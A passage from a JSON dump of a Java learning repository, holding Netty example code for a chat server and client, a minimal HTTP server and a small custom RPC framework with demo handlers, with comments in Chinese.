channels.writeAndFlush(\"[SERVER] - \" + incoming.remoteAddress() + \" 离开\\n\");\n\n        // A closed Channel is automatically removed from ChannelGroup,\n        // so there is no need to do \"channels.remove(ctx.channel());\"\n    }\n\n    @Override\n    protected void channelRead0(ChannelHandlerContext ctx, String s) throws Exception { // (4)\n        Channel incoming = ctx.channel();\n        for (Channel channel : channels) {\n            if (channel != incoming){\n                channel.writeAndFlush(\"[\" + incoming.remoteAddress() + \"]\" + s + \"\\n\");\n            } else {\n                channel.writeAndFlush(\"[you]\" + s + \"\\n\");\n            }\n        }\n    }\n\n    @Override\n    public void channelActive(ChannelHandlerContext ctx) throws Exception { // (5)\n        Channel incoming = ctx.channel();\n        System.out.println(\"SimpleChatClient:\"+incoming.remoteAddress()+\"在线\");\n    }\n\n    @Override\n    public void channelInactive(ChannelHandlerContext ctx) throws Exception { // (6)\n        Channel incoming = ctx.channel();\n        System.out.println(\"SimpleChatClient:\"+incoming.remoteAddress()+\"掉线\");\n    }\n    @Override\n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { // (7)\n        Channel incoming = ctx.channel();\n        System.out.println(\"SimpleChatClient:\"+incoming.remoteAddress()+\"异常\");\n        // 当出现异常就关闭连接\n        cause.printStackTrace();\n        ctx.close();\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/chat/SimpleChatServerInitializer.java",
    "content": "package com.jun.base.io.netty.chat;\n\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.handler.codec.DelimiterBasedFrameDecoder;\nimport io.netty.handler.codec.Delimiters;\nimport io.netty.handler.codec.string.StringDecoder;\nimport io.netty.handler.codec.string.StringEncoder;\n\npublic class SimpleChatServerInitializer extends\n        ChannelInitializer<SocketChannel> {\n\n    @Override\n    public void initChannel(SocketChannel ch) throws Exception {\n        ChannelPipeline pipeline = ch.pipeline();\n\n        pipeline.addLast(\"framer\", new DelimiterBasedFrameDecoder(8192, Delimiters.lineDelimiter()));\n        pipeline.addLast(\"decoder\", new StringDecoder());\n        pipeline.addLast(\"encoder\", new StringEncoder());\n        pipeline.addLast(\"handler\", new SimpleChatServerHandler());\n\n\n        System.out.println(\"SimpleChatClient:\"+ch.remoteAddress() +\"连接上\");\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/chat/client/SimpleChatClient.java",
    "content": "package com.jun.base.io.netty.chat.client;\n\nimport io.netty.bootstrap.Bootstrap;\nimport io.netty.channel.Channel;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.nio.NioSocketChannel;\n\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class SimpleChatClient {\n    public static void main(String[] args) throws Exception{\n        new SimpleChatClient(\"localhost\", 8080).run();\n    }\n\n    private final String host;\n    private final int port;\n\n    public SimpleChatClient(String host, int port){\n        this.host = host;\n        this.port = port;\n    }\n\n    public void run() throws Exception{\n        EventLoopGroup group = new NioEventLoopGroup();\n        try {\n            Bootstrap bootstrap  = new Bootstrap()\n                    .group(group)\n                    .channel(NioSocketChannel.class)\n                    .handler(new SimpleChatClientInitializer());\n            Channel channel = bootstrap.connect(host, port).sync().channel();\n            BufferedReader in = new BufferedReader(new InputStreamReader(System.in));\n            while(true){\n                channel.writeAndFlush(in.readLine() + \"\\r\\n\");\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            group.shutdownGracefully();\n        }\n\n    }\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/chat/client/SimpleChatClientHandler.java",
    "content": "package com.jun.base.io.netty.chat.client;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;\n\npublic class SimpleChatClientHandler extends SimpleChannelInboundHandler<String> {\n    @Override\n    protected void channelRead0(ChannelHandlerContext ctx, String s) throws Exception {\n        System.out.println(s);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/chat/client/SimpleChatClientInitializer.java",
    "content": "package com.jun.base.io.netty.chat.client;\n\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.handler.codec.DelimiterBasedFrameDecoder;\nimport io.netty.handler.codec.Delimiters;\nimport io.netty.handler.codec.string.StringDecoder;\nimport io.netty.handler.codec.string.StringEncoder;\n\npublic class SimpleChatClientInitializer extends ChannelInitializer<SocketChannel> {\n\n    @Override\n    public void initChannel(SocketChannel ch) throws Exception {\n        ChannelPipeline pipeline = ch.pipeline();\n\n        pipeline.addLast(\"framer\", new DelimiterBasedFrameDecoder(8192, Delimiters.lineDelimiter()));\n        pipeline.addLast(\"decoder\", new StringDecoder());\n        pipeline.addLast(\"encoder\", new StringEncoder());\n        pipeline.addLast(\"handler\", new SimpleChatClientHandler());\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/chat/readMe.txt",
    "content": "https://waylau.com/netty-chat/"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/httpServer/HttpHandler.java",
    "content": "package com.jun.base.io.netty.httpServer;\n\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;\nimport io.netty.handler.codec.http.*;\nimport io.netty.util.AsciiString;\n\npublic class HttpHandler extends SimpleChannelInboundHandler<FullHttpRequest>{ //1 Handler需要声明泛型为<FullHttpRequest>，声明之后，只有msg为FullHttpRequest的消息才能进来。\n\n    private AsciiString contentType = HttpHeaderValues.TEXT_PLAIN;\n\n    @Override\n    protected void channelRead0(ChannelHandlerContext ctx, FullHttpRequest msg) throws Exception {\n        System.out.println(\"class:\" + msg.getClass().getName());\n        DefaultFullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1,\n                HttpResponseStatus.OK,\n                Unpooled.wrappedBuffer(\"test\".getBytes())); // 2 生成response，这里使用的FullHttpResponse，同FullHttpRequest类似，通过这个我们就不用将response拆分成多个channel返回给请求端了。\n\n        HttpHeaders heads = response.headers();\n        heads.add(HttpHeaderNames.CONTENT_TYPE, contentType + \"; charset=UTF-8\");\n        heads.add(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes()); // 3添加header描述length。这一步是很重要的一步，如果没有这一步，你会发现用postman发出请求之后就一直在刷新，因为http请求方不知道返回的数据到底有多长。\n        heads.add(HttpHeaderNames.CONNECTION, HttpHeaderValues.KEEP_ALIVE);\n\n        ctx.write(response);\n\n    }\n\n\n    @Override\n    public void channelReadComplete(ChannelHandlerContext ctx) throws Exception {\n        System.out.println(\"channelReadComplete\");\n        super.channelReadComplete(ctx);\n        ctx.flush(); // 4 channel读取完成之后需要输出缓冲流。如果没有这一步，你会发现postman同样会一直在刷新\n    }\n\n    @Override\n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {\n        System.out.println(\"exceptionCaught\");\n        if(null != cause) cause.printStackTrace();\n        if(null != ctx) ctx.close();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/httpServer/HttpServer.java",
    "content": "package com.jun.base.io.netty.httpServer;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\nimport io.netty.handler.codec.http.HttpObjectAggregator;\nimport io.netty.handler.codec.http.HttpRequestDecoder;\nimport io.netty.handler.codec.http.HttpResponseEncoder;\n\npublic class HttpServer {\n\n    private final int port;\n\n    public HttpServer(int port) {\n        this.port = port;\n    }\n\n    public static void main(String[] args) throws Exception {\n    /*    if (args.length != 1) {\n            System.err.println(\n                    \"Usage: \" + HttpServer.class.getSimpleName() +\n                            \" <port>\");\n            return;\n        }*/\n        //int port = Integer.parseInt(args[0]);\n        int port = 8095;\n        System.out.println(\"port:\"+port);\n        new HttpServer(port).start();\n    }\n\n    public void start() throws Exception {\n        ServerBootstrap b = new ServerBootstrap();\n        NioEventLoopGroup group = new NioEventLoopGroup();\n        b.group(group)\n                .channel(NioServerSocketChannel.class)\n                .childHandler(new ChannelInitializer<SocketChannel>() {\n                    @Override\n                    public void initChannel(SocketChannel ch)\n                            throws Exception {\n                        System.out.println(\"initChannel ch:\" + ch);\n                        ch.pipeline()\n                                .addLast(\"decoder\", new HttpRequestDecoder())   // 1 HttpRequestDecoder，用于解码request\n                                .addLast(\"encoder\", new HttpResponseEncoder())  // 2 HttpResponseEncoder，用于编码response\n                                /*\n                                    aggregator，消息聚合器（重要）。为什么能有FullHttpRequest这个东西，就是因为有他，HttpObjectAggregator，如果没有他，就不会有那个消息是FullHttpRequest的那段Channel，同样也不会有FullHttpResponse。\n                                    HttpObjectAggregator(512 * 1024)的参数含义是消息合并的数据大小，如此代表聚合的消息内容长度不超过512kb。\n\n                                 */\n                                .addLast(\"aggregator\", new HttpObjectAggregator(512 * 1024))    // 3\n                                .addLast(\"handler\", new HttpHandler());        // 4 添加我们自己的处理接口\n                    }\n                })\n                .option(ChannelOption.SO_BACKLOG, 128) // determining the number of connections queued\n                .childOption(ChannelOption.SO_KEEPALIVE, Boolean.TRUE);\n\n        b.bind(port).sync();\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/readMe.txt",
    "content": "netty 框架\n\n    Netty 的架构模型，核心组件包括：\n    Bootstrap 和 ServerBootstrap\n    Channel\n    ChannelHandler\n    ChannelPipeline\n    EventLoop\n    ChannelFuture"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/MessageCollector.java",
    "content": "package com.jun.base.io.netty.rpc;\n\nimport io.netty.channel.ChannelHandler;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\n\nimport java.util.concurrent.*;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport com.jun.base.io.netty.rpc.common.IMessageHandler;\n\n@ChannelHandler.Sharable\npublic class MessageCollector extends ChannelInboundHandlerAdapter {\n    // 业务线程池\n    private ThreadPoolExecutor executor;\n\n    public MessageCollector(int workerThreads) {\n        // 业务队列最大1000，避免堆积\n        // 如果子线程处理不过来，io线程也会加入处理业务逻辑(callerRunsPolicy)\n        BlockingQueue<Runnable> queue = new ArrayBlockingQueue<>(1000);\n        // 给业务线程命名\n        ThreadFactory factory = new ThreadFactory() {\n\n            AtomicInteger seq = new AtomicInteger();\n\n            @Override\n            public Thread newThread(Runnable r) {\n                Thread t = new Thread(r);\n                t.setName(\"rpc-\" + seq.getAndIncrement());\n                return t;\n            }\n\n        };\n        // 闲置时间超过30秒的线程自动销毁\n        this.executor = new ThreadPoolExecutor(1, workerThreads, 30, TimeUnit.SECONDS, queue, factory,\n                new ThreadPoolExecutor.CallerRunsPolicy());\n    }\n    public void closeGracefully() {\n        // 优雅一点关闭，先通知，再等待，最后强制关闭\n        this.executor.shutdown();\n        try {\n            this.executor.awaitTermination(10, TimeUnit.SECONDS);\n        } catch (InterruptedException e) {\n        }\n        this.executor.shutdownNow();\n    }\n\n    @Override\n    public void channelActive(ChannelHandlerContext ctx) throws Exception {\n        // 客户端来了一个新链接\n        System.out.println(\"connection comes\");\n    }\n    @Override\n    public void channelInactive(ChannelHandlerContext ctx) throws Exception {\n        // 客户端走了一个\n        System.out.println(\"connection leaves\");\n        ctx.close();\n    }\n\n    @Override\n    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n        if (msg instanceof MessageInput) {\n            System.out.println(\"read a message\");\n            // 用业务线程池处理消息\n            this.executor.execute(() -> {\n                this.handleMessage(ctx, (MessageInput) msg);\n            });\n        }\n    }\n    private void handleMessage(ChannelHandlerContext ctx, MessageInput input) {\n        // 业务逻辑在这里\n        Class<?> clazz = MessageRegistry.get(input.getType());\n        if (clazz == null) {\n            // 没注册的消息用默认的处理器处理\n            MessageHandlers.defaultHandler.handle(ctx, input.getRequestId(), input);\n            return;\n        }\n        Object o = input.getPayload(clazz);\n        // 这里是小鲜的瑕疵，代码外观上比较难看，但是大厨表示才艺不够，很无奈\n        // 读者如果感兴趣可以自己想办法解决\n        @SuppressWarnings(\"unchecked\")\n        IMessageHandler<Object> handler = (IMessageHandler<Object>) MessageHandlers.get(input.getType());\n        if (handler != null) {\n            handler.handle(ctx, input.getRequestId(), o);\n        } else {\n            // 用默认的处理器处理吧\n            MessageHandlers.defaultHandler.handle(ctx, input.getRequestId(), input);\n        }\n    }\n    @Override\n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {\n        // 此处可能因为客户端机器突发重启\n        // 也可能是客户端链接闲置时间超时，后面的ReadTimeoutHandler抛出来的异常\n        // 也可能是消息协议错误，序列化异常\n        // etc.\n        // 不管它，链接统统关闭，反正客户端具备重连机制\n        System.out.println(\"connection error\");\n        cause.printStackTrace();\n        ctx.close();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/MessageDecoder.java",
    "content": "package com.jun.base.io.netty.rpc;\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.handler.codec.DecoderException;\nimport io.netty.handler.codec.ReplayingDecoder;\n\nimport java.util.List;\n\npublic class MessageDecoder extends ReplayingDecoder<MessageInput> {\n    @Override\n    protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {\n        String requestId = readStr(in);\n        String type = readStr(in);\n        String content = readStr(in);\n        out.add(new MessageInput(type, requestId, content));\n    }\n\n    private String readStr(ByteBuf in) {\n        // 字符串先长度后字节数组，统一UTF8编码\n        int len = in.readInt();\n        if (len < 0 || len > (1 << 20)) {\n            throw new DecoderException(\"string too long len=\" + len);\n        }\n        byte[] bytes = new byte[len];\n        in.readBytes(bytes);\n        return new String(bytes);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/MessageEncoder.java",
    "content": "package com.jun.base.io.netty.rpc;\n\nimport com.alibaba.fastjson.JSON;\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.PooledByteBufAllocator;\nimport io.netty.channel.ChannelHandler;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.handler.codec.MessageToMessageEncoder;\n\nimport java.util.List;\n\n@ChannelHandler.Sharable\npublic class MessageEncoder extends MessageToMessageEncoder<MessageOutput> {\n\n    @Override\n    protected void encode(ChannelHandlerContext ctx, MessageOutput msg, List<Object> out) throws Exception {\n        ByteBuf buf = PooledByteBufAllocator.DEFAULT.directBuffer();\n        writeStr(buf, msg.getRequestId());\n        writeStr(buf, msg.getType());\n        writeStr(buf, JSON.toJSONString(msg.getPayload()));\n        out.add(buf);\n    }\n\n    private void writeStr(ByteBuf buf, String s) {\n        buf.writeInt(s.length());\n        buf.writeBytes(s.getBytes());\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/MessageHandlers.java",
    "content": "package com.jun.base.io.netty.rpc;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.jun.base.io.netty.rpc.common.DefaultHandler;\nimport com.jun.base.io.netty.rpc.common.IMessageHandler;\n\npublic class MessageHandlers {\n    private static Map<String, IMessageHandler<?>> handlers = new HashMap<>();\n    public static DefaultHandler defaultHandler = new DefaultHandler();\n\n    public static void register(String type, IMessageHandler<?> handler) {\n        handlers.put(type, handler);\n    }\n\n    public static IMessageHandler<?> get(String type) {\n        IMessageHandler<?> handler = handlers.get(type);\n        return handler;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/MessageInput.java",
    "content": "package com.jun.base.io.netty.rpc;\n\nimport com.alibaba.fastjson.JSON;\n\npublic class MessageInput {\n    private String type;\n    private String requestId;\n    private String payload;\n\n    public MessageInput(String type, String requestId, String payload) {\n        this.type = type;\n        this.requestId = requestId;\n        this.payload = payload;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public String getRequestId() {\n        return requestId;\n    }\n\n    // 因为我们想直接拿到对象，所以要提供对象的类型参数\n    public <T> T getPayload(Class<T> clazz) {\n        if (payload == null) {\n            return null;\n        }\n        return JSON.parseObject(payload, clazz);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/MessageOutput.java",
    "content": "package com.jun.base.io.netty.rpc;\n\npublic class MessageOutput {\n    private String requestId;\n    private String type;\n    private Object payload;\n\n    public MessageOutput(String requestId, String type, Object payload) {\n        this.requestId = requestId;\n        this.type = type;\n        this.payload = payload;\n    }\n\n    public String getType() {\n        return this.type;\n    }\n\n    public String getRequestId() {\n        return requestId;\n    }\n\n    public Object getPayload() {\n        return payload;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/MessageRegistry.java",
    "content": "package com.jun.base.io.netty.rpc;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class MessageRegistry {\n    private static Map<String, Class<?>> clazzes = new HashMap<>();\n\n    public static void register(String type, Class<?> clazz) {\n        clazzes.put(type, clazz);\n    }\n\n    public static Class<?> get(String type) {\n        return clazzes.get(type);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/client/DemoClient.java",
    "content": "package com.jun.base.io.netty.rpc.client;\n\nimport com.jun.base.io.netty.rpc.common.ExpRequest;\nimport com.jun.base.io.netty.rpc.common.ExpResponse;\n\npublic class DemoClient {\n    private RPCClient client;\n    public DemoClient(RPCClient client) {\n        this.client = client;\n        // 注册服务返回类型\n        this.client.rpc(\"fib_res\", Long.class).rpc(\"exp_res\", ExpResponse.class);\n    }\n    public long fib(int n) {\n        return (Long) client.send(\"fib\", n);\n    }\n    public ExpResponse exp(int base, int exp) {\n        return (ExpResponse) client.send(\"exp\", new ExpRequest(base, exp));\n    }\n    public static void main(String[] args) {\n        RPCClient client = new RPCClient(\"localhost\", 8888);\n        DemoClient demo = new DemoClient(client);\n        for (int i = 0; i < 20; i++) {\n            System.out.printf(\"fib(%d) = %d\\n\", i, demo.fib(i));\n        }\n        for (int i = 0; i < 20; i++) {\n            ExpResponse res = demo.exp(2, i);\n            System.out.printf(\"exp2(%d) = %d cost=%dns\\n\", i, res.getValue(), res.getCostInNanos());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/client/RPCClient.java",
    "content": "package com.jun.base.io.netty.rpc.client;\n\nimport com.alibaba.fastjson.JSON;\nimport com.jun.base.io.netty.rpc.common.RPCException;\nimport com.jun.base.io.netty.rpc.common.RequestId;\nimport com.jun.base.io.netty.rpc.common.ResponseRegistry;\n\nimport java.io.*;\nimport java.net.InetSocketAddress;\nimport java.net.Socket;\nimport java.net.SocketAddress;\n\npublic class RPCClient {\n    private String ip;\n    private int port;\n    private Socket sock;\n    private DataInputStream input;\n    private OutputStream output;\n    public RPCClient(String ip, int port) {\n        this.ip = ip;\n        this.port = port;\n    }\n    public void connect() throws IOException {\n        SocketAddress addr = new InetSocketAddress(ip, port);\n        sock = new Socket();\n        sock.connect(addr, 5000); // 5s超时\n        input = new DataInputStream(sock.getInputStream());\n        output = sock.getOutputStream();\n    }\n    public void close() {\n        // 关闭链接\n        try {\n            sock.close();\n            sock = null;\n            input = null;\n            output = null;\n        } catch (IOException e) {\n        }\n    }\n    public Object send(String type, Object payload) {\n        // 普通rpc请求，正常获取响应\n        try {\n            return this.sendInternal(type, payload, false);\n        } catch (IOException e) {\n            throw new RPCException(e);\n        }\n    }\n    public RPCClient rpc(String type, Class<?> clazz) {\n        // rpc响应类型注册快捷入口\n        ResponseRegistry.register(type, clazz);\n        return this;\n    }\n    public void cast(String type, Object payload) {\n        // 单向消息，服务器不得返回结果\n        try {\n            this.sendInternal(type, payload, true);\n        } catch (IOException e) {\n            throw new RPCException(e);\n        }\n    }\n    private Object sendInternal(String type, Object payload, boolean cast) throws IOException {\n        if (output == null) {\n            connect();\n        }\n        String requestId = RequestId.next();\n        ByteArrayOutputStream bytes = new ByteArrayOutputStream();\n        DataOutputStream buf = new DataOutputStream(bytes);\n        writeStr(buf, requestId);\n        writeStr(buf, type);\n        writeStr(buf, JSON.toJSONString(payload));\n        buf.flush();\n        byte[] fullLoad = bytes.toByteArray();\n        try {\n            // 发送请求\n            output.write(fullLoad);\n        } catch (IOException e) {\n            // 网络异常要重连\n            close();\n            connect();\n            output.write(fullLoad);\n        }\n        if (!cast) {\n            // RPC普通请求，要立即获取响应\n            String reqId = readStr();\n            // 校验请求ID是否匹配\n            if (!requestId.equals(reqId)) {\n                close();\n                throw new RPCException(\"request id mismatch\");\n            }\n            String typ = readStr();\n            Class<?> clazz = ResponseRegistry.get(typ);\n            // 响应类型必须提前注册\n            if (clazz == null) {\n                throw new RPCException(\"unrecognized rpc response type=\" + typ);\n            }\n            // 反序列化json串\n            String payld = readStr();\n            Object res = JSON.parseObject(payld, clazz);\n            return res;\n        }\n        return null;\n    }\n    private String readStr() throws IOException {\n        int len = input.readInt();\n        byte[] bytes = new byte[len];\n        input.readFully(bytes);\n        return new String(bytes);\n    }\n    private void writeStr(DataOutputStream out, String s) throws IOException {\n        out.writeInt(s.length());\n        out.write(s.getBytes());\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/client/RPCRequest.java",
    "content": "package com.jun.base.io.netty.rpc.client;\n\npublic class RPCRequest {\n    private String requestId;\n    private String type;\n    private Object payload;\n\n    public RPCRequest(String requestId, String type, Object payload) {\n        this.requestId = requestId;\n        this.type = type;\n        this.payload = payload;\n    }\n\n    public String getRequestId() {\n        return requestId;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public Object getPayload() {\n        return payload;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/client/RPCResponse.java",
    "content": "package com.jun.base.io.netty.rpc.client;\n\npublic class RPCResponse {\n    private String requestId;\n    private String type;\n    private Object payload;\n\n    public RPCResponse(String requestId, String type, Object payload) {\n        this.requestId = requestId;\n        this.type = type;\n        this.payload = payload;\n    }\n\n    public String getRequestId() {\n        return requestId;\n    }\n\n    public void setRequestId(String requestId) {\n        this.requestId = requestId;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public Object getPayload() {\n        return payload;\n    }\n\n    public void setPayload(Object payload) {\n        this.payload = payload;\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/common/DefaultHandler.java",
    "content": "package com.jun.base.io.netty.rpc.common;\n\nimport com.jun.base.io.netty.rpc.MessageInput;\n\nimport io.netty.channel.ChannelHandlerContext;\n\npublic class DefaultHandler implements IMessageHandler<MessageInput>{\n    @Override\n    public void handle(ChannelHandlerContext ctx, String requesetId, MessageInput input) {\n        System.out.println(\"unrecognized message type=\" + input.getType() + \" comes\");\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/common/ExpRequest.java",
    "content": "package com.jun.base.io.netty.rpc.common;\n// 指数RPC的输入\npublic class ExpRequest {\n    private int base;\n    private int exp;\n\n    public ExpRequest() {\n    }\n\n    public ExpRequest(int base, int exp) {\n        this.base = base;\n        this.exp = exp;\n    }\n\n    public int getBase() {\n        return base;\n    }\n\n    public void setBase(int base) {\n        this.base = base;\n    }\n\n    public int getExp() {\n        return exp;\n    }\n\n    public void setExp(int exp) {\n        this.exp = exp;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/common/ExpRequestHandler.java",
    "content": "package com.jun.base.io.netty.rpc.common;\n\nimport com.jun.base.io.netty.rpc.MessageOutput;\n\nimport io.netty.channel.ChannelHandlerContext;\n\npublic class ExpRequestHandler implements IMessageHandler<ExpRequest>{\n    @Override\n    public void handle(ChannelHandlerContext ctx, String requestId, ExpRequest message) {\n        int base = message.getBase();\n        int exp = message.getExp();\n        long start = System.nanoTime();\n        long res = 1;\n        for (int i = 0; i < exp; i++) {\n            res *= base;\n        }\n        long cost = System.nanoTime() - start;\n        // 输出响应\n        ctx.writeAndFlush(new MessageOutput(requestId, \"exp_res\", new ExpResponse(res, cost)));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/common/ExpResponse.java",
    "content": "package com.jun.base.io.netty.rpc.common;\n// 指数RPC的输出\npublic class ExpResponse {\n    private long value;\n    private long costInNanos;\n\n    public ExpResponse() {\n    }\n\n    public ExpResponse(long value, long costInNanos) {\n        this.value = value;\n        this.costInNanos = costInNanos;\n    }\n\n    public long getValue() {\n        return value;\n    }\n\n    public void setValue(long value) {\n        this.value = value;\n    }\n\n    public long getCostInNanos() {\n        return costInNanos;\n    }\n\n    public void setCostInNanos(long costInNanos) {\n        this.costInNanos = costInNanos;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/common/FibRequestHandler.java",
    "content": "package com.jun.base.io.netty.rpc.common;\n\nimport io.netty.channel.ChannelHandlerContext;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport com.jun.base.io.netty.rpc.MessageOutput;\n\npublic class FibRequestHandler implements IMessageHandler<Integer>{\n\n    private List<Long> fibs = new ArrayList<>();\n\n    {\n        fibs.add(1L); // fib(0) = 1\n        fibs.add(1L); // fib(1) = 1\n    }\n    @Override\n    public void handle(ChannelHandlerContext ctx, String requestId, Integer n) {\n        for (int i = fibs.size(); i < n + 1; i++) {\n            long value = fibs.get(i - 2) + fibs.get(i - 1);\n            fibs.add(value);\n        }\n        // 输出响应\n        ctx.writeAndFlush(new MessageOutput(requestId, \"fib_res\", fibs.get(n)));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/common/IMessageHandler.java",
    "content": "package com.jun.base.io.netty.rpc.common;\n\nimport io.netty.channel.ChannelHandlerContext;\n\npublic interface IMessageHandler<T> {\n    void handle(ChannelHandlerContext ctx, String requestId, T message);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/common/RPCException.java",
    "content": "package com.jun.base.io.netty.rpc.common;\n\npublic class RPCException extends RuntimeException{\n    private static final long serialVersionUID = 1L;\n    public RPCException(String message, Throwable cause) {\n        super(message, cause);\n    }\n    public RPCException(String message) {\n        super(message);\n    }\n    public RPCException(Throwable cause) {\n        super(cause);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/common/RequestId.java",
    "content": "package com.jun.base.io.netty.rpc.common;\n\nimport java.util.UUID;\n\npublic class RequestId {\n    public static String next() {\n        return UUID.randomUUID().toString();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/common/ResponseRegistry.java",
    "content": "package com.jun.base.io.netty.rpc.common;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class ResponseRegistry {\n    private static Map<String, Class<?>> clazzes = new HashMap<>();\n    public static void register(String type, Class<?> clazz) {\n        clazzes.put(type, clazz);\n    }\n    public static Class<?> get(String type) {\n        return clazzes.get(type);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/readMe.txt",
    "content": "https://zhuanlan.zhihu.com/p/35720383\n\ngit源码\nhttps://github.com/pyloque/rpckids\n\n通过反序列化 ，反射成类对象，执行方法，在序列化执行结果返回。"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/server/DemoServer.java",
    "content": "package com.jun.base.io.netty.rpc.server;\n\nimport com.jun.base.io.netty.rpc.common.ExpRequest;\nimport com.jun.base.io.netty.rpc.common.ExpRequestHandler;\nimport com.jun.base.io.netty.rpc.common.FibRequestHandler;\n\npublic class DemoServer {\n    public static void main(String[] args) {\n        RPCServer server = new RPCServer(\"localhost\", 8888, 2, 16);\n        server.service(\"fib\", Integer.class, new FibRequestHandler())\n                .service(\"exp\", ExpRequest.class, new ExpRequestHandler());\n        server.start();\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/rpc/server/RPCServer.java",
